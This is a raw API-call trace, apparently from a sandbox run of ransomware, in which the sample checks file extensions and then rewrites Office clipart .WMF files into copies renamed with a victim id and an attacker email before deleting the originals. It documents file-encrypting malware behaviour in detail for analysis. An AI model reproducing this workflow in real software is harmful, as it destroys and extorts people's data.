lstrlenW (lpString=".7z") returned 3 [0271.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString=".dbf") returned 4 [0271.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString=".1cd") returned 4 [0271.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString=".jpg") returned 4 [0271.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.677] lstrlenW (lpString=".doc") returned 4 [0271.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString=".docx") returned 5 [0271.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.677] lstrlenW (lpString=".pdf") returned 4 [0271.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.677] lstrlenW (lpString=".xls") returned 4 [0271.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.677] lstrlenW (lpString=".xlsx") returned 5 [0271.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.678] lstrlenW (lpString=".ppt") returned 4 [0271.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.678] lstrlenW (lpString=".zip") returned 4 [0271.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.678] lstrlenW (lpString=".rar") returned 4 [0271.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.678] lstrlenW (lpString=".bz2") returned 4 [0271.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.678] lstrlenW (lpString=".7z") returned 3 [0271.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.678] lstrlenW (lpString=".dbf") returned 4 [0271.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.678] lstrlenW (lpString=".1cd") returned 4 [0271.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0271.678] lstrlenW (lpString=".jpg") returned 4 [0271.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.678] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.678] lstrlenW (lpString="DD01793_.WMF") returned 12 [0271.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.679] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=3252) returned 1 [0271.679] CloseHandle (hObject=0x37c) returned 1 [0271.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x20 [0271.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.681] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.681] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.681] GetLastError () returned 0x0 [0271.681] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0xcb4, lpOverlapped=0x0) returned 1 [0271.683] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0271.684] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.684] WriteFile (in: hFile=0x354, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.684] SetEndOfFile (hFile=0x354) returned 1 [0271.684] CloseHandle (hObject=0x354) returned 1 [0271.684] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.684] SetEndOfFile (hFile=0x37c) returned 1 [0271.686] CloseHandle (hObject=0x37c) returned 1 [0271.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.687] lstrlenW (lpString=".doc") returned 4 [0271.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".docx") returned 5 [0271.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.687] lstrlenW (lpString=".pdf") returned 4 [0271.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".xls") returned 4 [0271.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.687] lstrlenW (lpString=".xlsx") returned 5 [0271.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.687] lstrlenW (lpString=".ppt") returned 4 [0271.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.687] lstrlenW (lpString=".zip") returned 4 [0271.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.687] lstrlenW (lpString=".rar") returned 4 [0271.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".bz2") returned 4 [0271.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.687] lstrlenW (lpString=".7z") returned 3 [0271.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString=".dbf") returned 4 [0271.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString=".1cd") returned 4 [0271.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString=".jpg") returned 4 [0271.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString=".doc") returned 4 [0271.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString=".docx") returned 5 [0271.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.688] lstrlenW (lpString=".pdf") returned 4 [0271.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString=".xls") returned 4 [0271.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.688] lstrlenW (lpString=".xlsx") returned 5 [0271.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.688] lstrlenW (lpString=".ppt") returned 4 [0271.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.688] lstrlenW (lpString=".zip") returned 4 [0271.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.688] lstrlenW (lpString=".rar") returned 4 [0271.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString=".bz2") returned 4 [0271.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.688] lstrlenW (lpString=".7z") returned 3 [0271.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.689] lstrlenW (lpString=".dbf") returned 4 [0271.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.689] lstrlenW (lpString=".1cd") returned 4 [0271.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 63 [0271.689] lstrlenW (lpString=".jpg") returned 4 [0271.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.689] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.689] lstrlenW (lpString="ED00010_.WMF") returned 12 [0271.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.689] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=1382) returned 1 [0271.689] CloseHandle (hObject=0x37c) returned 1 [0271.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 0x20 [0271.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.690] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.690] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.117] GetLastError () returned 0x0 [0272.117] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x566, lpOverlapped=0x0) returned 1 [0272.118] WriteFile (in: hFile=0x388, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x570, lpOverlapped=0x0) returned 1 [0272.119] ReadFile (in: hFile=0x37c, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.119] WriteFile (in: hFile=0x388, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.119] SetEndOfFile (hFile=0x388) returned 1 [0272.119] CloseHandle (hObject=0x388) returned 1 [0272.119] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.119] SetEndOfFile (hFile=0x37c) returned 1 [0272.123] CloseHandle (hObject=0x37c) returned 1 [0272.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00010_.wmf")) returned 1 [0272.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.238] lstrlenW (lpString=".doc") returned 4 [0272.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.238] lstrlenW (lpString=".docx") returned 5 [0272.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.238] lstrlenW (lpString=".pdf") returned 4 [0272.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.238] lstrlenW (lpString=".xls") returned 4 [0272.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.238] lstrlenW (lpString=".xlsx") returned 5 [0272.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.238] lstrlenW (lpString=".ppt") returned 4 [0272.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.238] lstrlenW (lpString=".zip") returned 4 [0272.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.239] lstrlenW (lpString=".rar") returned 4 [0272.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString=".bz2") returned 4 [0272.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString=".7z") returned 3 [0272.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.239] lstrlenW (lpString=".dbf") returned 4 [0272.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.239] lstrlenW (lpString=".1cd") returned 4 [0272.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.239] lstrlenW (lpString=".jpg") returned 4 [0272.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.239] lstrlenW (lpString=".doc") returned 4 [0272.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString=".docx") returned 5 [0272.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.239] lstrlenW (lpString=".pdf") returned 4 [0272.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.239] lstrlenW (lpString=".xls") returned 4 [0272.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.239] lstrlenW (lpString=".xlsx") returned 5 [0272.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.240] lstrlenW (lpString=".ppt") returned 4 [0272.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.240] lstrlenW (lpString=".zip") returned 4 [0272.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.240] lstrlenW (lpString=".rar") returned 4 [0272.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.240] lstrlenW (lpString=".bz2") returned 4 [0272.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.240] lstrlenW (lpString=".7z") returned 3 [0272.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.240] lstrlenW (lpString=".dbf") returned 4 [0272.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.240] lstrlenW (lpString=".1cd") returned 4 [0272.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0272.240] lstrlenW (lpString=".jpg") returned 4 [0272.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.240] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0272.240] lstrlenW (lpString="EN00320_.WMF") returned 12 [0272.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.246] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2fbff1c | out: lpFileSize=0x2fbff1c*=736) returned 1 [0272.246] CloseHandle (hObject=0x384) returned 1 [0272.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 0x20 [0272.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.246] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.246] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.247] GetLastError () returned 0x0 [0272.247] ReadFile (in: hFile=0x384, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x2e0, lpOverlapped=0x0) returned 1 [0272.249] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0x2f0, lpOverlapped=0x0) returned 1 [0272.250] ReadFile (in: hFile=0x384, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x2fbfed4*=0x0, lpOverlapped=0x0) returned 1 [0272.250] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x2fbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.250] SetEndOfFile (hFile=0x2f0) returned 1 [0272.250] CloseHandle (hObject=0x2f0) returned 1 [0272.250] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0272.250] SetEndOfFile (hFile=0x384) returned 1 [0272.252] CloseHandle (hObject=0x384) returned 1 [0272.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00320_.wmf")) returned 1 [0272.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.253] lstrlenW (lpString=".doc") returned 4 [0272.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.253] lstrlenW (lpString=".docx") returned 5 [0272.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.253] lstrlenW (lpString=".pdf") returned 4 [0272.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.253] lstrlenW (lpString=".xls") returned 4 [0272.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.253] lstrlenW (lpString=".xlsx") returned 5 [0272.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.253] lstrlenW (lpString=".ppt") returned 4 [0272.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".zip") returned 4 [0272.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.254] lstrlenW (lpString=".rar") returned 4 [0272.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString=".bz2") returned 4 [0272.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString=".7z") returned 3 [0272.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".dbf") returned 4 [0272.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".1cd") returned 4 [0272.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00320_.WMF") returned 63 [0272.254] lstrlenW (lpString=".jpg") returned 4 